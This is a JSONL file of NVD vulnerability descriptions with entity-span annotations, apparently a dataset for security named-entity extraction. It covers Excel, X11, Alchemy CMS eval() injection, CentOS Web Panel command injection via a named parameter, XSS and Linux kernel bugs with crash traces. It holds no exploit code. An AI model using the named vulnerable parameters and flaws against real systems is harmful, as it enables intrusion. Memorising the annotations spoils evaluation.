{"text": "A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user. If the current user is logged on with administrative user rights, an attacker could take control of the affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\nExploitation of the vulnerability requires that a user open a specially crafted file with an affected version of Microsoft Excel. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file. In a web-based attack scenario, an attacker could host a website (or leverage a compromised website that accepts or hosts user-provided content) containing a specially crafted file designed to exploit the vulnerability. An attacker would have no way to force users to visit the website. Instead, an attacker would have to convince users to click a link, typically by way of an enticement in an email or instant message, and then convince them to open the specially crafted file.\nThe security update addresses the vulnerability by correcting how Microsoft Excel handles objects in memory.", "spans": {"ORGANIZATION: Microsoft": [[48, 57], [759, 768], [1486, 1495]], "VULNERABILITY: remote code execution": [[2, 23]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1494"}}
{"text": "LookupCol.c in X.Org X through X11R7.7 and libX11 before 1.7.1 might allow remote attackers to execute arbitrary code. The libX11 XLookupColor request (intended for server-side color lookup) contains a flaw allowing a client to send color-name requests with a name longer than the maximum size allowed by the protocol (and also longer than the maximum packet size for normal-sized packets). The user-controlled data exceeding the maximum size is then interpreted by the server as additional X protocol requests and executed, e.g., to disable X server authorization completely. For example, if the victim encounters malicious terminal control sequences for color codes, then the attacker may be able to take full control of the running graphical session.", "spans": {"FILEPATH: LookupCol.c": [[0, 11]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31535"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nregmap-irq: Fix out-of-bounds access when allocating config buffers\n\nWhen allocating the 2D array for handling IRQ type registers in\nregmap_add_irq_chip_fwnode(), the intent is to allocate a matrix\nwith num_config_bases rows and num_config_regs columns.\n\nThis is currently handled by allocating a buffer to hold a pointer for\neach row (i.e. num_config_bases). After that, the logic attempts to\nallocate the memory required to hold the register configuration for\neach row. However, instead of doing this allocation for each row\n(i.e. num_config_bases allocations), the logic erroneously does this\nallocation num_config_regs number of times.\n\nThis scenario can lead to out-of-bounds accesses when num_config_regs\nis greater than num_config_bases. Fix this by updating the terminating\ncondition of the loop that allocates the memory for holding the register\nconfiguration to allocate memory only for each row in the matrix.\n\nAmit Pundir reported a crash that was occurring on his db845c device\ndue to memory corruption (see \"Closes\" tag for Amit's report). The KASAN\nreport below helped narrow it down to this issue:\n\n[   14.033877][    T1] ==================================================================\n[   14.042507][    T1] BUG: KASAN: invalid-access in regmap_add_irq_chip_fwnode+0x594/0x1364\n[   14.050796][    T1] Write of size 8 at addr 06ffff8081021850 by task init/1\n\n[   14.242004][    T1] The buggy address belongs to the object at ffffff8081021850\n[   14.242004][    T1]  which belongs to the cache kmalloc-8 of size 8\n[   14.255669][    T1] The buggy address is located 0 bytes inside of\n[   14.255669][    T1]  8-byte region [ffffff8081021850, ffffff8081021858)", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: out-of-bounds access": [[85, 105]], "VULNERABILITY: memory corruption": [[1067, 1084]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53768"}}
{"text": "A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user. If the current user is logged on with administrative user rights, an attacker could take control of the affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\nExploitation of the vulnerability requires that a user open a specially crafted file with an affected version of Microsoft Excel. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file. In a web-based attack scenario, an attacker could host a website (or leverage a compromised website that accepts or hosts user-provided content) containing a specially crafted file designed to exploit the vulnerability. An attacker would have no way to force users to visit the website. Instead, an attacker would have to convince users to click a link, typically by way of an enticement in an email or instant message, and then convince them to open the specially crafted file.\nThe security update addresses the vulnerability by correcting how Microsoft Excel handles objects in memory.", "spans": {"ORGANIZATION: Microsoft": [[48, 57], [759, 768], [1486, 1495]], "VULNERABILITY: remote code execution": [[2, 23]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1504"}}
{"text": "Alchemy is an open source content management system engine written in Ruby on Rails. Prior to versions 7.4.12 and 8.0.3, the application uses the Ruby `eval()` function to dynamically execute a string provided by the `resource_handler.engine_name` attribute in `Alchemy::ResourcesHelper#resource_url_proxy`. The vulnerability exists in `app/helpers/alchemy/resources_helper.rb` at line 28. The code explicitly bypasses security linting with `# rubocop:disable Security/Eval`, indicating that the use of a dangerous function was known but not properly mitigated. Since `engine_name` is sourced from module definitions that can be influenced by administrative configurations, it allows an authenticated attacker to escape the Ruby sandbox and execute arbitrary system commands on the host OS. Versions 7.4.12 and 8.0.3 fix the issue by replacing `eval()` with `send()`.", "spans": {"FILEPATH: /helpers/alchemy/resources_helper.rb": [[340, 376]], "SYSTEM: Ruby": [[70, 74], [146, 150], [724, 728]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23885"}}
{"text": "Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Filters). The supported version that is affected is 8.5.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. Note: Outside In Technology is a suite of software development kits (SDKs). The protocol and CVSS Base Score depend on the software that uses Outside In Technology. The CVSS score assumes that the software passes data received over a network directly to Outside In Technology, but if data is not received over a network the CVSS score may be lower. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [61, 67], [276, 282], [447, 453]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-35659"}}
{"text": "XStream serializes Java objects to XML and back again. Versions prior to 1.4.20 may allow a remote attacker to terminate the application with a stack overflow error, resulting in a denial of service only via manipulation the processed input stream. The attack uses the hash code implementation for collections and maps to force recursive hash calculation causing a stack overflow. This issue is patched in version 1.4.20 which handles the stack overflow and raises an InputManipulationException instead. A potential workaround for users who only use HashMap or HashSet and whose XML refers these only as default map or set, is to change the default implementation of java.util.Map and java.util per the code example in the referenced advisory. However, this implies that your application does not care about the implementation of the map and all elements are comparable.", "spans": {"SYSTEM: Java": [[19, 23]], "VULNERABILITY: denial of service": [[181, 198]], "VULNERABILITY: stack overflow": [[144, 158], [365, 379], [439, 453]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-41966"}}
{"text": "A stored XSS vulnerability was discovered in the ECT Provider in OutSystems before 2020-09-04, affecting generated applications. It could allow an unauthenticated remote attacker to craft and store malicious Feedback content into /ECT_Provider/, such that when the content is viewed (it can only be viewed by Administrators), attacker-controlled JavaScript will execute in the security context of an administrator's browser. This is fixed in Outsystems 10.0.1005.2, Outsystems 11.9.0 Platform Server, and Outsystems 11.7.0 LifeTime Management Console.", "spans": {"VULNERABILITY: stored XSS": [[2, 12]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-13639"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncifs: Fix the smbd_response slab to allow usercopy\n\nThe handling of received data in the smbdirect client code involves using\ncopy_to_iter() to copy data from the smbd_reponse struct's packet trailer\nto a folioq buffer provided by netfslib that encapsulates a chunk of\npagecache.\n\nIf, however, CONFIG_HARDENED_USERCOPY=y, this will result in the checks\nthen performed in copy_to_iter() oopsing with something like the following:\n\n CIFS: Attempting to mount //172.31.9.1/test\n CIFS: VFS: RDMA transport established\n usercopy: Kernel memory exposure attempt detected from SLUB object 'smbd_response_0000000091e24ea1' (offset 81, size 63)!\n ------------[ cut here ]------------\n kernel BUG at mm/usercopy.c:102!\n ...\n RIP: 0010:usercopy_abort+0x6c/0x80\n ...\n Call Trace:\n  <TASK>\n  __check_heap_object+0xe3/0x120\n  __check_object_size+0x4dc/0x6d0\n  smbd_recv+0x77f/0xfe0 [cifs]\n  cifs_readv_from_socket+0x276/0x8f0 [cifs]\n  cifs_read_from_socket+0xcd/0x120 [cifs]\n  cifs_demultiplex_thread+0x7e9/0x2d50 [cifs]\n  kthread+0x396/0x830\n  ret_from_fork+0x2b8/0x3b0\n  ret_from_fork_asm+0x1a/0x30\n\nThe problem is that the smbd_response slab's packet field isn't marked as\nbeing permitted for usercopy.\n\nFix this by passing parameters to kmem_slab_create() to indicate that\ncopy_to_iter() is permitted from the packet region of the smbd_response\nslab objects, less the header space.", "spans": {"IP_ADDRESS: 172.31.9.1": [[528, 538]], "FILEPATH: usercopy.c": [[762, 772]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38523"}}
{"text": "A vulnerability in the web-based management interface of Cisco&nbsp;Unified Communications Manager, Cisco&nbsp;Unified Communications Manager Session Management Edition, Cisco&nbsp;Unified Communications Manager IM &amp; Presence Service, and Cisco&nbsp;Unity Connection could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the interface.\r\nThe vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive browser-based information.There are no workarounds that address this vulnerability.", "spans": {"ORGANIZATION: Cisco": [[57, 62], [100, 105], [170, 175], [243, 248]], "VULNERABILITY: cross-site scripting": [[332, 352]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-3532"}}
{"text": "A program using swift-corelibs-foundation is vulnerable to a denial of service attack caused by a potentially malicious source producing a JSON document containing a type mismatch. This vulnerability is caused by the interaction between a deserialization mechanism offered by the Swift standard library, the Codable protocol; and the JSONDecoder class offered by swift-corelibs-foundation, which can deserialize types that adopt the Codable protocol based on the content of a provided JSON document. When a type that adopts Codable requests the initialization of a field with an integer value, the JSONDecoder class uses a type-erased container with different accessor methods to attempt and coerce a corresponding JSON value and produce an integer. In the case the JSON value was a numeric literal with a floating-point portion, JSONDecoder used different type-eraser methods during validation than it did during the final casting of the value. The checked casting produces a deterministic crash due to this mismatch. The JSONDecoder class is often wrapped by popular Swift-based web frameworks to parse the body of HTTP requests and perform basic type validation. This makes the attack low-effort: sending a specifically crafted JSON document during a request to these endpoints will cause them to crash. The attack does not have any confidentiality or integrity risks in and of itself; the crash is produced deterministically by an abort function that ensures that execution does not continue in the face of this violation of assumptions. However, unexpected crashes can lead to violations of invariants in services, so it's possible that this attack can be used to trigger error conditions that escalate the risk. Producing a denial of service may also be the goal of an attacker in itself. This issue is solved in Swift 5.6.2 for Linux and Windows. This issue was solved by ensuring that the same methods are invoked both when validating and during casting, so that no type mismatch occurs. Swift for Linux and Windows versions are not ABI-interchangeable. To upgrade a service, its owner must update to this version of the Swift toolchain, then recompile and redeploy their software. The new version of Swift includes an updated swift-corelibs-foundation package. Versions of Swift running on Darwin-based operating systems are not affected.", "spans": {"SYSTEM: Windows": [[1845, 1852], [2016, 2023]], "SYSTEM: Linux": [[1835, 1840], [2006, 2011]], "VULNERABILITY: denial of service": [[61, 78], [1730, 1747]], "VULNERABILITY: deserialization": [[239, 254]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-1642"}}
{"text": "matrix-js-sdk is a Matrix messaging protocol Client-Server SDK for JavaScript. In versions prior to 19.4.0 events sent with special strings in key places can temporarily disrupt or impede the matrix-js-sdk from functioning properly, potentially impacting the consumer's ability to process data safely. Note that the matrix-js-sdk can appear to be operating normally but be excluding or corrupting runtime data presented to the consumer. This issue has been fixed in matrix-js-sdk 19.4.0 and users are advised to upgrade. Users unable to upgrade may mitigate this issue by redacting applicable events, waiting for the sync processor to store data, and restarting the client. Alternatively, redacting the applicable events and clearing all storage will often fix most perceived issues. In some cases, no workarounds are possible.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-36059"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nidpf: fix adapter NULL pointer dereference on reboot\n\nWith SRIOV enabled, idpf ends up calling into idpf_remove() twice.\nFirst via idpf_shutdown() and then again when idpf_remove() calls into\nsriov_disable(), because the VF devices use the idpf driver, hence the\nsame remove routine. When that happens, it is possible for the adapter\nto be NULL from the first call to idpf_remove(), leading to a NULL\npointer dereference.\n\necho 1 > /sys/class/net/<netif>/device/sriov_numvfs\nreboot\n\nBUG: kernel NULL pointer dereference, address: 0000000000000020\n...\nRIP: 0010:idpf_remove+0x22/0x1f0 [idpf]\n...\n? idpf_remove+0x22/0x1f0 [idpf]\n? idpf_remove+0x1e4/0x1f0 [idpf]\npci_device_remove+0x3f/0xb0\ndevice_release_driver_internal+0x19f/0x200\npci_stop_bus_device+0x6d/0x90\npci_stop_and_remove_bus_device+0x12/0x20\npci_iov_remove_virtfn+0xbe/0x120\nsriov_disable+0x34/0xe0\nidpf_sriov_configure+0x58/0x140 [idpf]\nidpf_remove+0x1b9/0x1f0 [idpf]\nidpf_shutdown+0x12/0x30 [idpf]\npci_device_shutdown+0x35/0x60\ndevice_shutdown+0x156/0x200\n...\n\nReplace the direct idpf_remove() call in idpf_shutdown() with\nidpf_vc_core_deinit() and idpf_deinit_dflt_mbx(), which perform\nthe bulk of the cleanup, such as stopping the init task, freeing IRQs,\ndestroying the vports and freeing the mailbox. This avoids the calls to\nsriov_disable() in addition to a small netdev cleanup, and destroying\nworkqueues, which don't seem to be required on shutdown.", "spans": {"FILEPATH: /sys/class/net": [[501, 515]], "FILEPATH: /device/sriov_numvfs": [[523, 543]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[87, 111], [564, 588]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22065"}}
{"text": "Vulnerability in the Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Enterprise Config Management). Supported versions that are affected are 12.1.0.5, 13.2.0.0 and 13.3.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Enterprise Manager Base Platform. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Enterprise Manager Base Platform accessible data as well as unauthorized update, insert or delete access to some of Enterprise Manager Base Platform accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Enterprise Manager Base Platform. CVSS 3.0 Base Score 6.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L).", "spans": {"IP_ADDRESS: 12.1.0.5": [[175, 183]], "IP_ADDRESS: 13.2.0.0": [[185, 193]], "IP_ADDRESS: 13.3.0.0": [[198, 206]], "ORGANIZATION: Oracle": [[65, 71]], "VULNERABILITY: denial of service": [[677, 694]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2618"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: do proper folio cleanup when run_delalloc_nocow() failed\n\n[BUG]\nWith CONFIG_DEBUG_VM set, test case generic/476 has some chance to crash\nwith the following VM_BUG_ON_FOLIO():\n\n  BTRFS error (device dm-3): cow_file_range failed, start 1146880 end 1253375 len 106496 ret -28\n  BTRFS error (device dm-3): run_delalloc_nocow failed, start 1146880 end 1253375 len 106496 ret -28\n  page: refcount:4 mapcount:0 mapping:00000000592787cc index:0x12 pfn:0x10664\n  aops:btrfs_aops [btrfs] ino:101 dentry name(?):\"f1774\"\n  flags: 0x2fffff80004028(uptodate|lru|private|node=0|zone=2|lastcpupid=0xfffff)\n  page dumped because: VM_BUG_ON_FOLIO(!folio_test_locked(folio))\n  ------------[ cut here ]------------\n  kernel BUG at mm/page-writeback.c:2992!\n  Internal error: Oops - BUG: 00000000f2000800 [#1] SMP\n  CPU: 2 UID: 0 PID: 3943513 Comm: kworker/u24:15 Tainted: G           OE      6.12.0-rc7-custom+ #87\n  Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE\n  Hardware name: QEMU KVM Virtual Machine, BIOS unknown 2/2/2022\n  Workqueue: events_unbound btrfs_async_reclaim_data_space [btrfs]\n  pc : folio_clear_dirty_for_io+0x128/0x258\n  lr : folio_clear_dirty_for_io+0x128/0x258\n  Call trace:\n   folio_clear_dirty_for_io+0x128/0x258\n   btrfs_folio_clamp_clear_dirty+0x80/0xd0 [btrfs]\n   __process_folios_contig+0x154/0x268 [btrfs]\n   extent_clear_unlock_delalloc+0x5c/0x80 [btrfs]\n   run_delalloc_nocow+0x5f8/0x760 [btrfs]\n   btrfs_run_delalloc_range+0xa8/0x220 [btrfs]\n   writepage_delalloc+0x230/0x4c8 [btrfs]\n   extent_writepage+0xb8/0x358 [btrfs]\n   extent_write_cache_pages+0x21c/0x4e8 [btrfs]\n   btrfs_writepages+0x94/0x150 [btrfs]\n   do_writepages+0x74/0x190\n   filemap_fdatawrite_wbc+0x88/0xc8\n   start_delalloc_inodes+0x178/0x3a8 [btrfs]\n   btrfs_start_delalloc_roots+0x174/0x280 [btrfs]\n   shrink_delalloc+0x114/0x280 [btrfs]\n   flush_space+0x250/0x2f8 [btrfs]\n   btrfs_async_reclaim_data_space+0x180/0x228 [btrfs]\n   process_one_work+0x164/0x408\n   worker_thread+0x25c/0x388\n   kthread+0x100/0x118\n   ret_from_fork+0x10/0x20\n  Code: 910a8021 a90363f7 a9046bf9 94012379 (d4210000)\n  ---[ end trace 0000000000000000 ]---\n\n[CAUSE]\nThe first two lines of extra debug messages show the problem is caused\nby the error handling of run_delalloc_nocow().\n\nE.g. we have the following dirtied range (4K blocksize 4K page size):\n\n    0                 16K                  32K\n    |//////////////////////////////////////|\n    |  Pre-allocated  |\n\nAnd the range [0, 16K) has a preallocated extent.\n\n- Enter run_delalloc_nocow() for range [0, 16K)\n  Which found range [0, 16K) is preallocated, can do the proper NOCOW\n  write.\n\n- Enter fallback_to_fow() for range [16K, 32K)\n  Since the range [16K, 32K) is not backed by preallocated extent, we\n  have to go COW.\n\n- cow_file_range() failed for range [16K, 32K)\n  So cow_file_range() will do the clean up by clearing folio dirty,\n  unlock the folios.\n\n  Now the folios in range [16K, 32K) is unlocked.\n\n- Enter extent_clear_unlock_delalloc() from run_delalloc_nocow()\n  Which is called with PAGE_START_WRITEBACK to start page writeback.\n  But folios can only be marked writeback when it's properly locked,\n  thus this triggered the VM_BUG_ON_FOLIO().\n\nFurthermore there is another hidden but common bug that\nrun_delalloc_nocow() is not clearing the folio dirty flags in its error\nhandling path.\nThis is the common bug shared between run_delalloc_nocow() and\ncow_file_range().\n\n[FIX]\n- Clear folio dirty for range [@start, @cur_offset)\n  Introduce a helper, cleanup_dirty_folios(), which\n  will find and lock the folio in the range, clear the dirty flag and\n  start/end the writeback, with the extra handling for the\n  @locked_folio.\n\n- Introduce a helper to clear folio dirty, start and end writeback\n\n- Introduce a helper to record the last failed COW range end\n  This is to trace which range we should skip, to avoid double\n  unlocking.\n\n- Skip the failed COW range for the e\n---truncated---", "spans": {"FILEPATH: /2/2022": [[1075, 1082]], "FILEPATH: writeback.c": [[795, 806]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1035, 1039]], "SYSTEM: KVM": [[1040, 1043]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-57975"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvirtio_pci: Fix admin vq cleanup by using correct info pointer\n\nvp_modern_avq_cleanup() and vp_del_vqs() clean up admin vq\nresources by virtio_pci_vq_info pointer. The info pointer of admin\nvq is stored in vp_dev->admin_vq.info instead of vp_dev->vqs[].\nUsing the info pointer from vp_dev->vqs[] for admin vq causes a\nkernel NULL pointer dereference bug.\nIn vp_modern_avq_cleanup() and vp_del_vqs(), get the info pointer\nfrom vp_dev->admin_vq.info for admin vq to clean up the resources.\nAlso make info ptr as argument of vp_del_vq() to be symmetric with\nvp_setup_vq().\n\nvp_reset calls vp_modern_avq_cleanup, and causes the Call Trace:\n==================================================================\nBUG: kernel NULL pointer dereference, address:0000000000000000\n...\nCPU: 49 UID: 0 PID: 4439 Comm: modprobe Not tainted 6.11.0-rc5 #1\nRIP: 0010:vp_reset+0x57/0x90 [virtio_pci]\nCall Trace:\n <TASK>\n...\n ? vp_reset+0x57/0x90 [virtio_pci]\n ? vp_reset+0x38/0x90 [virtio_pci]\n virtio_reset_device+0x1d/0x30\n remove_vq_common+0x1c/0x1a0 [virtio_net]\n virtnet_remove+0xa1/0xc0 [virtio_net]\n virtio_dev_remove+0x46/0xa0\n...\n virtio_pci_driver_exit+0x14/0x810 [virtio_pci]\n==================================================================", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[394, 418], [784, 808]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53092"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: fix the msg->req tlv len check in tipc_nl_compat_name_table_dump_header\n\nThis is a follow-up for commit 974cb0e3e7c9 (\"tipc: fix uninit-value\nin tipc_nl_compat_name_table_dump\") where it should have type casted\nsizeof(..) to int to work when TLV_GET_DATA_LEN() returns a negative\nvalue.\n\nsyzbot reported a call trace because of it:\n\n  BUG: KMSAN: uninit-value in ...\n   tipc_nl_compat_name_table_dump+0x841/0xea0 net/tipc/netlink_compat.c:934\n   __tipc_nl_compat_dumpit+0xab2/0x1320 net/tipc/netlink_compat.c:238\n   tipc_nl_compat_dumpit+0x991/0xb50 net/tipc/netlink_compat.c:321\n   tipc_nl_compat_recv+0xb6e/0x1640 net/tipc/netlink_compat.c:1324\n   genl_family_rcv_msg_doit net/netlink/genetlink.c:731 [inline]\n   genl_family_rcv_msg net/netlink/genetlink.c:775 [inline]\n   genl_rcv_msg+0x103f/0x1260 net/netlink/genetlink.c:792\n   netlink_rcv_skb+0x3a5/0x6c0 net/netlink/af_netlink.c:2501\n   genl_rcv+0x3c/0x50 net/netlink/genetlink.c:803\n   netlink_unicast_kernel net/netlink/af_netlink.c:1319 [inline]\n   netlink_unicast+0xf3b/0x1270 net/netlink/af_netlink.c:1345\n   netlink_sendmsg+0x1288/0x1440 net/netlink/af_netlink.c:1921\n   sock_sendmsg_nosec net/socket.c:714 [inline]\n   sock_sendmsg net/socket.c:734 [inline]", "spans": {"FILEPATH: /tipc/netlink_compat.c": [[491, 513], [561, 583], [628, 650], [694, 716]], "FILEPATH: /netlink/genetlink.c": [[753, 773], [813, 833], [880, 900], [991, 1011]], "FILEPATH: /netlink/af_netlink.c": [[939, 960], [1045, 1066], [1116, 1137], [1179, 1200]], "FILEPATH: socket.c": [[1232, 1240], [1274, 1282]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49862"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_migration_cpanel.php. When parsing the serverip parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9709.", "spans": {"IP_ADDRESS: 0.9.8.923": [[123, 132]], "FILEPATH: ajax_migration_cpanel.php": [[228, 253]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15426"}}
{"text": "Vulnerability in the Oracle Commerce Service Center product of Oracle Commerce (component: Commerce Service Center). Supported versions that are affected are 11.1, 11.2 and prior to 11.3.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Commerce Service Center. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Commerce Service Center accessible data as well as unauthorized access to critical data or complete access to all Oracle Commerce Service Center accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [63, 69], [300, 306], [466, 472], [587, 593]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14535"}}
{"text": "XWiki Platform Applications Tag and XWiki Platform Tag UI are tag applications for XWiki, a generic wiki platform. Starting with version 1.7 in XWiki Platform Applications Tag and prior to 13.10.6 and 14.4 in XWiki Platform Tag UI, the tags document `Main.Tags` in XWiki didn't sanitize user inputs properly. This allowed users with view rights on the document (default in a public wiki or for authenticated users on private wikis) to execute arbitrary Groovy, Python and Velocity code with programming rights. This also allowed bypassing all rights checks and thus both modification and disclosure of all content stored in the XWiki installation. The vulnerability could be used to impact the availability of the wiki. On XWiki versions before 13.10.4 and 14.2, this can be combined with CVE-2022-36092, meaning that no rights are required to perform the attack. The vulnerability has been patched in versions 13.10.6 and 14.4. As a workaround, the patch that fixes the issue can be manually applied to the document `Main.Tags` or the updated version of that document can be imported from version 14.4 of xwiki-platform-tag-ui using the import feature in the administration UI on XWiki 10.9 and later.", "spans": {"CVE_ID: CVE-2022-36092": [[789, 803]], "SYSTEM: Python": [[461, 467]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-36100"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. The fix for CVE-2020-15209(https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15209) missed the case when the target shape of `Reshape` operator is given by the elements of a 1-D tensor. As such, the fix for the vulnerability(https://github.com/tensorflow/tensorflow/blob/9c1dc920d8ffb4893d6c9d27d1f039607b326743/tensorflow/lite/core/subgraph.cc#L1062-L1074) allowed passing a null-buffer-backed tensor with a 1D shape. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"CVE_ID: CVE-2020-15209": [[83, 97], [145, 159]], "URL: https://github.com/tensorflow/tensorflow/blob/9c1dc920d8ffb4893d6c9d27d1f039607b326743/tensorflow/lite/core/subgraph.cc#L1062-L1074": [[302, 433]], "DOMAIN: cve.mitre.org": [[106, 119]], "FILEPATH: cvename.cgi": [[128, 139]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29592"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme: fix memory allocation in nvme_pr_read_keys()\n\nnvme_pr_read_keys() takes num_keys from userspace and uses it to\ncalculate the allocation size for rse via struct_size(). The upper\nlimit is PR_KEYS_MAX (64K).\n\nA malicious or buggy userspace can pass a large num_keys value that\nresults in a 4MB allocation attempt at most, causing a warning in\nthe page allocator when the order exceeds MAX_PAGE_ORDER.\n\nTo fix this, use kvzalloc() instead of kzalloc().\n\nThis bug has the same reasoning and fix with the patch below:\nhttps://lore.kernel.org/linux-block/20251212013510.3576091-1-kartikey406@gmail.com/\n\nWarning log:\nWARNING: mm/page_alloc.c:5216 at __alloc_frozen_pages_noprof+0x5aa/0x2300 mm/page_alloc.c:5216, CPU#1: syz-executor117/272\nModules linked in:\nCPU: 1 UID: 0 PID: 272 Comm: syz-executor117 Not tainted 6.19.0 #1 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014\nRIP: 0010:__alloc_frozen_pages_noprof+0x5aa/0x2300 mm/page_alloc.c:5216\nCode: ff 83 bd a8 fe ff ff 0a 0f 86 69 fb ff ff 0f b6 1d f9 f9 c4 04 80 fb 01 0f 87 3b 76 30 ff 83 e3 01 75 09 c6 05 e4 f9 c4 04 01 <0f> 0b 48 c7 85 70 fe ff ff 00 00 00 00 e9 8f fd ff ff 31 c0 e9 0d\nRSP: 0018:ffffc90000fcf450 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: 0000000000000000 RCX: 1ffff920001f9ea0\nRDX: 0000000000000000 RSI: 000000000000000b RDI: 0000000000040dc0\nRBP: ffffc90000fcf648 R08: ffff88800b6c3380 R09: 0000000000000001\nR10: ffffc90000fcf840 R11: ffff88807ffad280 R12: 0000000000000000\nR13: 0000000000040dc0 R14: 0000000000000001 R15: ffffc90000fcf620\nFS:  0000555565db33c0(0000) GS:ffff8880be26c000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 000000002000000c CR3: 0000000003b72000 CR4: 00000000000006f0\nCall Trace:\n <TASK>\n alloc_pages_mpol+0x236/0x4d0 mm/mempolicy.c:2486\n alloc_frozen_pages_noprof+0x149/0x180 mm/mempolicy.c:2557\n ___kmalloc_large_node+0x10c/0x140 mm/slub.c:5598\n __kmalloc_large_node_noprof+0x25/0xc0 mm/slub.c:5629\n __do_kmalloc_node mm/slub.c:5645 [inline]\n __kmalloc_noprof+0x483/0x6f0 mm/slub.c:5669\n kmalloc_noprof include/linux/slab.h:961 [inline]\n kzalloc_noprof include/linux/slab.h:1094 [inline]\n nvme_pr_read_keys+0x8f/0x4c0 drivers/nvme/host/pr.c:245\n blkdev_pr_read_keys block/ioctl.c:456 [inline]\n blkdev_common_ioctl+0x1b71/0x29b0 block/ioctl.c:730\n blkdev_ioctl+0x299/0x700 block/ioctl.c:786\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n __se_sys_ioctl fs/ioctl.c:583 [inline]\n __x64_sys_ioctl+0x1bf/0x220 fs/ioctl.c:583\n x64_sys_call+0x1280/0x21b0 mnt/fuzznvme_1/fuzznvme/linux-build/v6.19/./arch/x86/include/generated/asm/syscalls_64.h:17\n do_syscall_x64 